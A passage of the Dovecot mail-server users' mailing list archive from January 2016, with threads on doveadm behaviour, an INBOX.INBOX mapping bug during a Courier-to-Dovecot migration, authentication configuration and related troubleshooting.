2016, at 10:31, SATOH Fumiyasu wrote: > > At Mon, 4 Jan 2016 14:19:52 -0500, > Timo Sirainen wrote: >>> Dec 22 14:57:39 localhost dovecot: auth: ldap(u0000,::1,): allow_nets: Invalid network 'local' >>> Dec 22 14:57:39 localhost dovecot: auth: Panic: file net.c: line 1137 (net_is_in_network): assertion failed: (IPADDR_IS_V6(ip) == IPADDR_IS_V6(net_ip)) >>> >>> `doveadm auth test ` is no problem as expected. >>> >>> What's wrong? >> >> allow_nets can only contain IP/network ranges. You can't use any names like "local". Anyway, it still shouldn't crash. This fixes it: > > Dovecot 2.2.15 has the following change: > > + passdb allow_nets=local matches lookups that don't contain an IP > address (internally done by Dovecot services) > > I use the "allow_nets=local" to allow administrtors to run > `doveadm auth test username`. If allow_nets has no "local", > it is failed (rejected?). Is this a bug? Oh, I forgot entirely that exists. And looks like it was buggy. Fixed: https://github.com/dovecot/core/commit/e7ff41f105ef1e7577ff0fa34554478e95efd0d4 From bill at KnoxvilleChristian.org Tue Jan 5 20:36:58 2016 From: bill at KnoxvilleChristian.org (Bill Shirley) Date: Tue, 5 Jan 2016 15:36:58 -0500 Subject: doveadm search -A tries to create mailboxes Message-ID: <568C296A.1040207@KnoxvilleChristian.org> [0:root at elmo ~]$ rpm -q dovecot dovecot-2.2.18-2.fc22.x86_64 I got a surprise today when I tried the doveadm search function from: http://wiki2.dovecot.org/Plugins/Expire [0:root at elmo ~]$ doveadm search -A mailbox Trash savedbefore 30d doveadm(clamscan): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=982(clamscan) egid=289(clamscan) missing +w perm: /, dir owned by 0:0 mode=0555) doveadm(clamscan): Error: User init failed doveadm(nm-openconnect): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=986(nm-openconnect) egid=293(nm-openconnect) missing +w perm: /, dir owned by 0:0 mode=0555) doveadm(nm-openconnect): Error: User init failed doveadm(openvpn): Error: User initialization failed: Namespace '': mkdir(/etc/openvpn/Maildir) failed: Permission denied (euid=987(openvpn) egid=296(openvpn) missing +w perm: /etc/openvpn, dir owned by 0:0 mode=0755) doveadm(openvpn): Error: User init failed .. plus several more I wouldn't think the search function (or any operation) would try to create mailboxes. These are system user ids that don't have or need mailboxes. Is this correct? Bill From p.heinlein at heinlein-support.de Wed Jan 6 16:47:41 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Wed, 6 Jan 2016 17:47:41 +0100 Subject: Mapping of INBOX.INBOX breaks imapc_list_prefix=INBOX? Message-ID: <568D452D.6000208@heinlein-support.de> We're running a huge imapc-Migration from an old Courier-IMAP to Dovecot. Courier always uses "INBOX."-prefix for his folders, so we set namespace inbox { [...] separator = . prefix = INBOX. [...] } on our new Dovecot 2.2.20 system. And also we added: imapc_list_prefix=INBOX to avoid the dublication of the INBOX prefix. At the end, doveadm/dsync/imapc see "INBOX.Virus", adds his Prefix, has "INBOX.INBOX.Virus", deletes his imapc_list_prefix and the end we have "INBOX.Virus" again which is identical to the source folder from Courier. Works perfect BUT: It looks like there is a "hidden feature" in Dovecot that always maps "INBOX.INBOX" back to "INBOX". For me that looks like a workaround for broken mailclients to fix some of the common problems after changing the namespace prefix. I never heard about that "hidden feature", but even if I don't (!) have INBOX.INBOX: root at imap01:~/MIGRATION # doveadm mailbox list -u test INBOX INBOX.Virus INBOX.Spam INBOX.Trash I'm always able to access INBOX.INBOX which is identical to INBOX: root at imap01:~/MIGRATION # doveadm fetch -u test uid mailbox INBOX.INBOX uid: 1 Looks like there is such a magic-mapping and looks like this "hard coded mapping" (?) breaks the imapc_list_prefix-magic. If the user has on the SOURCE-server (Courier): Source-Server: INBOX (5 messages) INBOX.Inbox (3 messages) and I do migrate that user using doveadm/dsync/imapc, this user has on the DESTINATION-server (Dovecot) Destination-server: INBOX (5 messages) INBOX.Inbox (5 messages from "real INBOX") and his 3 messages from INBOX.Inbox are lost. I can NOT find any errors in the debug/error-output of doveadm/dsync/imapc. From the view of doveadm everything worked perfect as you can see in the attached logfile. Or am I completly wrong?! Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin -------------- next part -------------- A non-text attachment was scrubbed... Name: p246098p2.log Type: text/x-log Size: 15894 bytes Desc: not available URL: From p.heinlein at heinlein-support.de Wed Jan 6 16:50:31 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Wed, 6 Jan 2016 17:50:31 +0100 Subject: doveadm proxy kick shows always "0 connections kicked"?! Message-ID: <568D45D7.20403@heinlein-support.de> On Dovecot 2.2.20: There *IS* a user connected: root at mailproxy02:~ # doveadm proxy list | grep testuser username proto src ip dest ip port testuser imap xx.xx.xx.xx yy.yy.yy.yy 143 But if I kick him there are always "0 connections kicked": root at mailproxy02:~ # doveadm proxy kick testuser 0 connections kicked ...even if the user's gone after I kicked him. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From p.heinlein at heinlein-support.de Wed Jan 6 16:52:28 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Wed, 6 Jan 2016 17:52:28 +0100 Subject: doveadm/dsync/imapc and foldernames including a "%" Message-ID: <568D464C.3040900@heinlein-support.de> We're using doveadm/dsync/imapc to migrate accounts from Courier to Dovecot 2.2.20. On the source-server some user have folder names including a "%" in their name. Looks like doveadm isn't able to handle that folder names. I always stops with: dsync(testtest): Error: Failed to access mailbox INBOX.Test%TEST: Mailbox does not exist, or must be subscribed to. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From tss at iki.fi Wed Jan 6 20:29:51 2016 From: tss at iki.fi (Timo Sirainen) Date: Wed, 6 Jan 2016 15:29:51 -0500 Subject: doveadm search -A tries to create mailboxes In-Reply-To: <568C296A.1040207@KnoxvilleChristian.org> References: <568C296A.1040207@KnoxvilleChristian.org> Message-ID: On 05 Jan 2016, at 15:36, Bill Shirley wrote: > > [0:root at elmo ~]$ rpm -q dovecot > dovecot-2.2.18-2.fc22.x86_64 > > I got a surprise today when I tried the doveadm search function from: > http://wiki2.dovecot.org/Plugins/Expire > > [0:root at elmo ~]$ doveadm search -A mailbox Trash savedbefore 30d > doveadm(clamscan): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=982(clamscan) egid=289(clamscan) missing +w perm: /, dir owned by 0:0 mode=0555) > doveadm(clamscan): Error: User init failed > doveadm(nm-openconnect): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=986(nm-openconnect) egid=293(nm-openconnect) missing +w perm: /, dir owned by 0:0 mode=0555) > doveadm(nm-openconnect): Error: User init failed > doveadm(openvpn): Error: User initialization failed: Namespace '': mkdir(/etc/openvpn/Maildir) failed: Permission denied (euid=987(openvpn) egid=296(openvpn) missing +w perm: /etc/openvpn, dir owned by 0:0 mode=0755) > doveadm(openvpn): Error: User init failed > .. plus several more > > I wouldn't think the search function (or any operation) would try to create mailboxes. These are system user ids > that don't have or need mailboxes. > > Is this correct? It's intentional and difficult to change. If you're using system users, you can restrict the list of users that apply to -A. I think just setting first_valid_uid high enough to not match system users' UIDs will solve it. From tss at iki.fi Wed Jan 6 20:35:43 2016 From: tss at iki.fi (Timo Sirainen) Date: Wed, 6 Jan 2016 15:35:43 -0500 Subject: Mapping of INBOX.INBOX breaks imapc_list_prefix=INBOX? In-Reply-To: <568D452D.6000208@heinlein-support.de> References: <568D452D.6000208@heinlein-support.de> Message-ID: On 06 Jan 2016, at 11:47, Peer Heinlein wrote: > > > We're running a huge imapc-Migration from an old Courier-IMAP to Dovecot. > > Courier always uses "INBOX."-prefix for his folders, so we set > > namespace inbox { > [...] > separator = . > prefix = INBOX. > [...] > } > > on our new Dovecot 2.2.20 system. > > And also we added: > > imapc_list_prefix=INBOX > > to avoid the dublication of the INBOX prefix. > > At the end, doveadm/dsync/imapc see "INBOX.Virus", adds his Prefix, has > "INBOX.INBOX.Virus", deletes his imapc_list_prefix and the end we have > "INBOX.Virus" again which is identical to the source folder from Courier. > > Works perfect BUT: > > It looks like there is a "hidden feature" in Dovecot that always maps > "INBOX.INBOX" back to "INBOX". For me that looks like a workaround for > broken mailclients to fix some of the common problems after changing the > namespace prefix. > > I never heard about that "hidden feature", but even if I don't (!) have > INBOX.INBOX: > > root at imap01:~/MIGRATION # doveadm mailbox list -u test > INBOX > INBOX.Virus > INBOX.Spam > INBOX.Trash > > I'm always able to access INBOX.INBOX which is identical to INBOX: > > root at imap01:~/MIGRATION # doveadm fetch -u test uid mailbox INBOX.INBOX > uid: 1 > > Looks like there is such a magic-mapping and looks like this "hard coded > mapping" (?) breaks the imapc_list_prefix-magic. > > If the user has on the SOURCE-server (Courier): > > Source-Server: > INBOX (5 messages) > INBOX.Inbox (3 messages) > > and I do migrate that user using doveadm/dsync/imapc, this user has on > the DESTINATION-server (Dovecot) > > Destination-server: > INBOX (5 messages) > INBOX.Inbox (5 messages from "real INBOX") > > and his 3 messages from INBOX.Inbox are lost. > > I can NOT find any errors in the debug/error-output of > doveadm/dsync/imapc. From the view of doveadm everything worked perfect > as you can see in the attached logfile. > > Or am I completly wrong?! It's not really a "hidden feature", but more likely a consequence of the INBOX. prefix being added/removed from folder names. I'd need to look into it more carefully to see if it's possible to fix easily or not, but I have a feeling it may not be easy. INBOX.INBOX has caused troubles many times earlier.. One solution that should work is that for dsync runs you'd simply remove the INBOX. prefix from both the namespace and the imapc_list_prefix. From tss at iki.fi Wed Jan 6 21:03:58 2016 From: tss at iki.fi (Timo Sirainen) Date: Wed, 6 Jan 2016 16:03:58 -0500 Subject: Mapping of INBOX.INBOX breaks imapc_list_prefix=INBOX? In-Reply-To: References: <568D452D.6000208@heinlein-support.de> Message-ID: <896A42E9-67AC-4A2A-8650-CCF93CDEE017@iki.fi> > On 06 Jan 2016, at 15:35, Timo Sirainen wrote: > > On 06 Jan 2016, at 11:47, Peer Heinlein wrote: >> >> >> We're running a huge imapc-Migration from an old Courier-IMAP to Dovecot. >> >> Courier always uses "INBOX."-prefix for his folders, so we set >> >> namespace inbox { >> [...] >> separator = . >> prefix = INBOX. >> [...] >> } >> >> on our new Dovecot 2.2.20 system. >> >> And also we added: >> >> imapc_list_prefix=INBOX >> >> to avoid the dublication of the INBOX prefix. >> >> At the end, doveadm/dsync/imapc see "INBOX.Virus", adds his Prefix, has >> "INBOX.INBOX.Virus", deletes his imapc_list_prefix and the end we have >> "INBOX.Virus" again which is identical to the source folder from Courier. >> >> Works perfect BUT: >> >> It looks like there is a "hidden feature" in Dovecot that always maps >> "INBOX.INBOX" back to "INBOX". For me that looks like a workaround for >> broken mailclients to fix some of the common problems after changing the >> namespace prefix. >> >> I never heard about that "hidden feature", but even if I don't (!) have >> INBOX.INBOX: >> >> root at imap01:~/MIGRATION # doveadm mailbox list -u test >> INBOX >> INBOX.Virus >> INBOX.Spam >> INBOX.Trash >> >> I'm always able to access INBOX.INBOX which is identical to INBOX: >> >> root at imap01:~/MIGRATION # doveadm fetch -u test uid mailbox INBOX.INBOX >> uid: 1 >> >> Looks like there is such a magic-mapping and looks like this "hard coded >> mapping" (?) breaks the imapc_list_prefix-magic. >> >> If the user has on the SOURCE-server (Courier): >> >> Source-Server: >> INBOX (5 messages) >> INBOX.Inbox (3 messages) >> >> and I do migrate that user using doveadm/dsync/imapc, this user has on >> the DESTINATION-server (Dovecot) >> >> Destination-server: >> INBOX (5 messages) >> INBOX.Inbox (5 messages from "real INBOX") >> >> and his 3 messages from INBOX.Inbox are lost. >> >> I can NOT find any errors in the debug/error-output of >> doveadm/dsync/imapc. From the view of doveadm everything worked perfect >> as you can see in the attached logfile. >> >> Or am I completly wrong?! > > It's not really a "hidden feature", but more likely a consequence of the INBOX. prefix being added/removed from folder names. I'd need to look into it more carefully to see if it's possible to fix easily or not, but I have a feeling it may not be easy. INBOX.INBOX has caused troubles many times earlier.. One solution that should work is that for dsync runs you'd simply remove the INBOX. prefix from both the namespace and the imapc_list_prefix. Or actually that would just add INBOX. prefix to everything. Maybe removing either namespace prefix or imapc_list_prefix would work? From p.heinlein at heinlein-support.de Wed Jan 6 22:28:10 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Wed, 6 Jan 2016 23:28:10 +0100 Subject: Mapping of INBOX.INBOX breaks imapc_list_prefix=INBOX? In-Reply-To: <896A42E9-67AC-4A2A-8650-CCF93CDEE017@iki.fi> References: <568D452D.6000208@heinlein-support.de> <896A42E9-67AC-4A2A-8650-CCF93CDEE017@iki.fi> Message-ID: <568D94FA.9000907@heinlein-support.de> Am 06.01.2016 um 22:03 schrieb Timo Sirainen: Hi Timo, thanks for your fast reply. >> It's not really a "hidden feature", but more likely a consequence >> of the INBOX. prefix being added/removed from folder names. I'd >> need to look into it more carefully to see if it's possible to fix >> easily or not, but I have a feeling it may not be easy. INBOX.INBOX >> has caused troubles many times earlier.. Yes, I know that problems and I had them already many times (and learned how to avoid them). That's why I had the idea that there could be such a mapping and totally understand why it could be interesting to have this. But doveadm isn't allowed to be confused by that mapping. >> One solution that should >> work is that for dsync runs you'd simply remove the INBOX. prefix >> from both the namespace and the imapc_list_prefix. I already tried this before, but I wouldn't be happy with that. We have two months migration time with a live migration and I do not want to offer a non-prefixed namespace to migrated users. I wouldn't be able to switch back to a prefixed namespace without all that huge problems caused by namespace changes. AND: After adding the Prefix again I would have to fix subscriptions and I do have the risk that several hundred thousand users would try to refresh their local IMAP-cache simultaneously and would reload 25 TB data simultaneously. I can not accept that risk. :-) > Or actually that would just add INBOX. prefix to everything. Maybe > removing either namespace prefix or imapc_list_prefix would work? No. But, anyway: Once you have approved that there IS and should be that kind of mapping and that THIS IS the reason of my problems, we know that we have to look (just) for users with folders named INBOX.INBOX and we'll find workarounds and scripts to handle them. I think we easily rename that folders to INBOX.INBOX2 and everything will work fine. There's no need for you to provide a fast fix just for us if the solution is not that easy. I just tried to confirm that bug AND to make sure that this is not just a stupid mistake by me. Right at the moment we're running a find script to analyse how many users do have that double-INBOX-folder names. I don't expect that there will be too many users. The only thing I still wonder is WHY the comparisation is done case insensitive. The source folder is named "INBOX.Inbox" and it's mixed with INBOX. As far as I experienced there's no need to expect anything else but INBOX after a namespace change. But maybe you have other experiences here. So there's no need for a discussion and no need to waste time. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From ben at indietorrent.org Thu Jan 7 00:39:19 2016 From: ben at indietorrent.org (Ben Johnson) Date: Wed, 6 Jan 2016 19:39:19 -0500 Subject: Enterprise Repository Access? Message-ID: <568DB3B7.1020800@indietorrent.org> Hello! I apologize if this has been asked already. (I did search before posting...) Is it still possible to obtain access to Dovecot's Enterprise Repository, for Ubuntu and Debian, at no cost? When last I registered for such access, I recall there being a "mock product" in the Dovecot Store that provided no-cost access to this repository. Any information in this regard is very much appreciated. Thank you in advance! -Ben From bill at KnoxvilleChristian.org Thu Jan 7 02:11:57 2016 From: bill at KnoxvilleChristian.org (Bill Shirley) Date: Wed, 6 Jan 2016 21:11:57 -0500 Subject: doveadm search -A tries to create mailboxes In-Reply-To: References: <568C296A.1040207@KnoxvilleChristian.org> Message-ID: <568DC96D.4070806@KnoxvilleChristian.org> On 1/6/2016 3:29 PM, Timo Sirainen wrote: > On 05 Jan 2016, at 15:36, Bill Shirley wrote: >> >> [0:root at elmo ~]$ rpm -q dovecot >> dovecot-2.2.18-2.fc22.x86_64 >> >> I got a surprise today when I tried the doveadm search function from: >> http://wiki2.dovecot.org/Plugins/Expire >> >> [0:root at elmo ~]$ doveadm search -A mailbox Trash savedbefore 30d >> doveadm(clamscan): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=982(clamscan) egid=289(clamscan) missing +w perm: /, dir owned by 0:0 mode=0555) >> doveadm(clamscan): Error: User init failed >> doveadm(nm-openconnect): Error: User initialization failed: Namespace '': mkdir(//Maildir) failed: Permission denied (euid=986(nm-openconnect) egid=293(nm-openconnect) missing +w perm: /, dir owned by 0:0 mode=0555) >> doveadm(nm-openconnect): Error: User init failed >> doveadm(openvpn): Error: User initialization failed: Namespace '': mkdir(/etc/openvpn/Maildir) failed: Permission denied (euid=987(openvpn) egid=296(openvpn) missing +w perm: /etc/openvpn, dir owned by 0:0 mode=0755) >> doveadm(openvpn): Error: User init failed >> .. plus several more >> >> I wouldn't think the search function (or any operation) would try to create mailboxes. These are system user ids >> that don't have or need mailboxes. >> >> Is this correct? > > It's intentional and difficult to change. If you're using system users, you can restrict the list of users that apply to -A. I think just setting first_valid_uid high enough to not match system users' UIDs will solve it. > Yes, I'll probably change my first_valid_uid to a higher number. Currently vmail is 399 since I've been running Linux for ages. Thankfully there is 'find'. Gotta change the MySQL table too. I really do appreciate Dovecot and all the work that goes into it. That being said, I don't think 'search' should create any files or directories. I just wanted to see how much trash is on the system. If you wanted to check 'CorpNews' which a few users have, after running 'search' now everyone has it. The man page doesn't mention that 'search' updates anything. I provide this feedback because Dovecot is great software and want it to continue to be. BTW, now I have: /var/cache/akmods/Maildir/.Trash /var/cache/akmods/Maildir/.Trash/cur /var/cache/akmods/Maildir/.Trash/dovecot-uidlist /var/cache/akmods/Maildir/.Trash/dovecot.index.log /var/cache/akmods/Maildir/.Trash/maildirfolder /var/cache/akmods/Maildir/.Trash/new /var/cache/akmods/Maildir/.Trash/tmp /var/lib/chrony/Maildir/.Trash /var/lib/chrony/Maildir/.Trash/cur /var/lib/chrony/Maildir/.Trash/dovecot-uidlist /var/lib/chrony/Maildir/.Trash/dovecot.index.log /var/lib/chrony/Maildir/.Trash/maildirfolder /var/lib/chrony/Maildir/.Trash/new /var/lib/chrony/Maildir/.Trash/tmp /var/lib/clamav/Maildir/.Trash /var/lib/clamav/Maildir/.Trash/cur /var/lib/clamav/Maildir/.Trash/dovecot-uidlist /var/lib/clamav/Maildir/.Trash/dovecot.index.log /var/lib/clamav/Maildir/.Trash/maildirfolder /var/lib/clamav/Maildir/.Trash/new /var/lib/clamav/Maildir/.Trash/tmp /var/lib/colord/Maildir/.Trash /var/lib/colord/Maildir/.Trash/cur /var/lib/colord/Maildir/.Trash/dovecot-uidlist /var/lib/colord/Maildir/.Trash/dovecot.index.log /var/lib/colord/Maildir/.Trash/maildirfolder /var/lib/colord/Maildir/.Trash/new /var/lib/colord/Maildir/.Trash/tmp /var/lib/geoclue/Maildir/.Trash /var/lib/geoclue/Maildir/.Trash/cur /var/lib/geoclue/Maildir/.Trash/dovecot-uidlist /var/lib/geoclue/Maildir/.Trash/dovecot.index.log /var/lib/geoclue/Maildir/.Trash/maildirfolder /var/lib/geoclue/Maildir/.Trash/new /var/lib/geoclue/Maildir/.Trash/tmp /var/lib/sddm/Maildir/.Trash /var/lib/sddm/Maildir/.Trash/cur /var/lib/sddm/Maildir/.Trash/dovecot-uidlist /var/lib/sddm/Maildir/.Trash/dovecot.index.log /var/lib/sddm/Maildir/.Trash/maildirfolder /var/lib/sddm/Maildir/.Trash/new /var/lib/sddm/Maildir/.Trash/tmp /var/lib/setroubleshoot/Maildir/.Trash /var/lib/setroubleshoot/Maildir/.Trash/cur /var/lib/setroubleshoot/Maildir/.Trash/dovecot-uidlist /var/lib/setroubleshoot/Maildir/.Trash/dovecot.index.log /var/lib/setroubleshoot/Maildir/.Trash/maildirfolder /var/lib/setroubleshoot/Maildir/.Trash/new /var/lib/setroubleshoot/Maildir/.Trash/tmp Thankfully there is 'rm -rf '. Again, many thanks, Bill From skdovecot at smail.inf.fh-brs.de Thu Jan 7 07:22:27 2016 From: skdovecot at smail.inf.fh-brs.de (Steffen Kaiser) Date: Thu, 7 Jan 2016 08:22:27 +0100 (CET) Subject: doveadm search -A tries to create mailboxes In-Reply-To: <568DC96D.4070806@KnoxvilleChristian.org> References: <568C296A.1040207@KnoxvilleChristian.org> <568DC96D.4070806@KnoxvilleChristian.org> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Wed, 6 Jan 2016, Bill Shirley wrote: > The man page doesn't mention that 'search' updates anything. SEARCH has to open the Maildir. Dovecot has the feature to create mailboxes on the fly on access, not only on write accesses. If Dovecot wouldn't, you would get lots of "Invalid Mailbox" errors, because -A enumerates users, you want to skip. Actually, if you cannot limit -A with Timo's hints, you might try to override the userdb setting via -o command line options with a passwd-file, in which you list only "valid" users. > BTW, now I have: > /var/cache/akmods/Maildir/.Trash you probably have autocreate for Trash? But you will see Maildir for all users anyway. - -- Steffen Kaiser -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQEVAwUBVo4SM3z1H7kL/d9rAQJtRwgAiCprUdix0RuNeeET9eL/LiKhJi2bc8nV tX4VXXzCmFnhq8NkWnEOj24aFVeHNxPMXqdbDdIiEQ5zecGQhDxF02VYwTSkOdme PmSxtf8hHUWUtqx8Lqv99hz6fV+OEHHTG7Q2/ZAUHDLuDTsiARTyntZKCjKwpigb RHLJxxN8tDdtdb8Re6eN8GybyPgGIaGh+T7+oY30LeGFEO/JuQ+twmp8KxK5Zq8z Ejjk/m+QrP2uQWRG+xptzIPX10jsCsF1mPNNX/8hXJcWdQ+ohmHFRZMuHntNOTsa SNNfUuvvXl/tTtn+f25oy6qJEhlOFnj9pLVWQhS/kT+Bw/9GX7cSbA== =3mLB -----END PGP SIGNATURE----- From p.heinlein at heinlein-support.de Thu Jan 7 08:01:44 2016 From: p.heinlein at heinlein-support.de (Peer Heinlein) Date: Thu, 7 Jan 2016 09:01:44 +0100 Subject: Mapping of INBOX.INBOX breaks imapc_list_prefix=INBOX? In-Reply-To: References: <568D452D.6000208@heinlein-support.de> Message-ID: <568E1B68.105@heinlein-support.de> Am 06.01.2016 um 21:35 schrieb Timo Sirainen: > It's not really a "hidden feature", but more likely a consequence of the INBOX. prefix being added/removed from folder names. I called this a "hidden feature" because for me that's a non-standard behavior without any options to switch that on or off. Maybe a simple "double_inbox_mapping=yes|no" would solve the problem -- if this feature is off during migration there's no risk for that mapping mistake. Peer -- Heinlein Support GmbH Schwedter Str. 8/9b, 10119 Berlin http://www.heinlein-support.de Tel: 030 / 405051-42 Fax: 030 / 405051-19 Zwangsangaben lt. ?35a GmbHG: HRB 93818 B / Amtsgericht Berlin-Charlottenburg, Gesch?ftsf?hrer: Peer Heinlein -- Sitz: Berlin From jim at rfc1035.com Thu Jan 7 23:22:01 2016 From: jim at rfc1035.com (Jim Reid) Date: Thu, 7 Jan 2016 23:22:01 +0000 Subject: strange interaction with MacOSX calendar server Message-ID: <587B5F3B-2EF5-46C3-9E94-503904A42125@rfc1035.com> I?ve installed and configured Apple?s calendar server. It seems to be working just fine. However it keeps trying to speak to my IMAP server ? don?t know why ? and the authentication attempts fail every 30 seconds or so. Here?s what?s in the calendar server logs: 2016-01-07 22:42:38+0000 [-] [caldav-1] [IMAP4DownloadProtocol (TLSMemoryBIOProtocol),client] [txdav.caldav.datastore.scheduling.imip.inbound.IMAP4DownloadProtocol#error] IMAP login failed for com.apple.calendarserver 2016-01-07 22:43:08+0000 [-] [caldav-1] [IMAP4DownloadProtocol (TLSMemoryBIOProtocol),client] [txdav.caldav.datastore.scheduling.imip.inbound.IMAP4DownloadProtocol#error] IMAP login failed for com.apple.calendarserver 2016-01-07 22:43:39+0000 [-] [caldav-1] [IMAP4DownloadProtocol (TLSMemoryBIOProtocol),client] [txdav.caldav.datastore.scheduling.imip.inbound.IMAP4DownloadProtocol#error] IMAP login failed for com.apple.calendarserver And in dovecot?s logs I see: Jan 7 22:47:43 hutch dovecot[63067]: imap-login: Disconnected (auth failed, 2 attempts in 4 secs): user=, method=PLAIN, rip=195.54.233.70, lip=195.54.233.70, TLS, session= Jan 7 22:48:10 hutch dovecot[63067]: auth-worker(65378): Error: pam(com.apple.calendarserver,195.54.233.70): pam_acct_mgmt() failed: permission denied Jan 7 22:48:14 --- last message repeated 1 time --- Jan 7 22:48:14 hutch dovecot[63067]: imap-login: Disconnected (auth failed, 2 attempts in 4 secs): user=, method=PLAIN, rip=195.54.233.70, lip=195.54.233.70, TLS, session= Jan 7 22:48:40 hutch dovecot[63067]: auth-worker(65378): Error: pam(com.apple.calendarserver,195.54.233.70): pam_acct_mgmt() failed: permission denied Jan 7 22:48:44 --- last message repeated 1 time ? I tweaked dovecot to use AUTH PLAIN as well as CRAM-MD5. [The MD5 stuff has always worked fine for SMTP and IMAP over TLS.] I think /etc/pam.d/dovecot is OK too: % cat /etc/pam.d/dovecot # # as documented on Dovecot wiki auth required pam_opendirectory.so try_first_pass account required pam_nologin.so account required pam_opendirectory.so password required pam_opendirectory.so Here?s my dovecot.conf: # 2.2.5: dovecot.conf # OS: Darwin 12.5.0 x86_64 auth_mechanisms = plain login cram-md5 base_dir = /var/run/dovecot/ listen = *, [::] mail_debug = yes mail_privileged_group = mail mbox_write_locks = fcntl namespace inbox { hidden = yes inbox = yes list = no location = mbox:~/mail:INBOX=/var/mail/%u prefix = "#mbox/" separator = / type = private } namespace { inbox = no list = yes location = maildir:/var/imap/%u:LAYOUT=fs prefix = separator = / type = private } passdb { driver = pam args = failure_show_msg=yes } passdb { args = /usr/local/etc/dovecot-md5 driver = passwd-file } protocols = imap service auth { executable = /usr/local/libexec/dovecot/auth unix_listener /var/spool/postfix/private/auth { group = postfix mode = 0660 user = postfix } user = root } service imap-login { client_limit = 32 executable = /usr/local/libexec/dovecot/imap-login inet_listener imap { port = 0 } process_limit = 128 process_min_avail = 3 service_count = 1 vsz_limit = 64 M } service imap { executable = /usr/local/libexec/dovecot/imap process_limit = 32 } service pop3-login { client_limit = 32 process_limit = 128 process_min_avail = 3 service_count = 1 vsz_limit = 64 M } service pop3 { process_limit = 32 } ssl_cert = References: <568C296A.1040207@KnoxvilleChristian.org> <568DC96D.4070806@KnoxvilleChristian.org> Message-ID: <568F1EA6.7060509@KnoxvilleChristian.org> Yes, I have: mailbox Trash { special_use = \Trash auto = subscribe # next needs dovecot 2.2.20 # autoexpunge = 2 weeks } mailbox SystemFolders { auto = create # auto = subscribe } However, I would think that only applies to mail delivery or POP3/IMAP access. Are you saying that all doveadm -A commands will create Maildir and 'auto=create/subscribe' folders? Why did it not create '~/Maildir/SystemFolders'? I did hit Ctrl-C as soon as I saw what doveadm was doing. Again, I don't think SEARCH should create any directories. Maybe have a doveadm CREATE for that purpose? I am not the creator nor a developer of Dovecot; just one user with an opinion. If they think this is the correct behavior I'm fine with that. Bill On 1/7/2016 2:22 AM, Steffen Kaiser wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Wed, 6 Jan 2016, Bill Shirley wrote: > >> The man page doesn't mention that 'search' updates anything. > > SEARCH has to open the Maildir. Dovecot has the feature to create mailboxes on the fly on access, not only on write accesses. If > Dovecot wouldn't, you would get lots of "Invalid Mailbox" errors, because -A enumerates users, you want to skip. > > Actually, if you cannot limit -A with Timo's hints, you might try to override the userdb setting via -o command line options > with a passwd-file, in which you list only "valid" users. > >> BTW, now I have: >> /var/cache/akmods/Maildir/.Trash > > you probably have autocreate for Trash? But you will see Maildir for all users anyway. > > - -- Steffen Kaiser > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1 > > iQEVAwUBVo4SM3z1H7kL/d9rAQJtRwgAiCprUdix0RuNeeET9eL/LiKhJi2bc8nV > tX4VXXzCmFnhq8NkWnEOj24aFVeHNxPMXqdbDdIiEQ5zecGQhDxF02VYwTSkOdme > PmSxtf8hHUWUtqx8Lqv99hz6fV+OEHHTG7Q2/ZAUHDLuDTsiARTyntZKCjKwpigb > RHLJxxN8tDdtdb8Re6eN8GybyPgGIaGh+T7+oY30LeGFEO/JuQ+twmp8KxK5Zq8z > Ejjk/m+QrP2uQWRG+xptzIPX10jsCsF1mPNNX/8hXJcWdQ+ohmHFRZMuHntNOTsa > SNNfUuvvXl/tTtn+f25oy6qJEhlOFnj9pLVWQhS/kT+Bw/9GX7cSbA== > =3mLB > -----END PGP SIGNATURE----- From Christoph.Adomeit at gatworks.de Fri Jan 8 10:50:06 2016 From: Christoph.Adomeit at gatworks.de (Christoph Adomeit) Date: Fri, 8 Jan 2016 11:50:06 +0100 Subject: How to skip errors on doveadm backup for migration ? Message-ID: <20160108105006.GA22080@mp3.niederrhein.de> Hi there, I have to migrate data out of a very old (debian 4) and buggy cyrus mailserver. About 40 Users with 200000 Messages each. Doveadm backup works quite well and gives me most of the mails. About every 100.000 Mail cannot be exported by cyrus. I do not want to bother about these errors. Maybe it is filesystem, maybe it is memory leak, or cyrus bug or whatever. My problem is that doveadm backup exits with an error if it cannot read a mail. Is there some way or option to make doveadm backup just skip the errors and continue with the next message ? I want to use doveadm sync because it preserves the uids of the mails. Imapsync works great but does not prserve uids. cyrus2dovecot is not an option because it does not work incremental and conversion would take far too long. Any ideas what I can do ? Thanks Christoph From p.heinlein at heinlein-support.de Fri Jan 8 11:34:29 2016 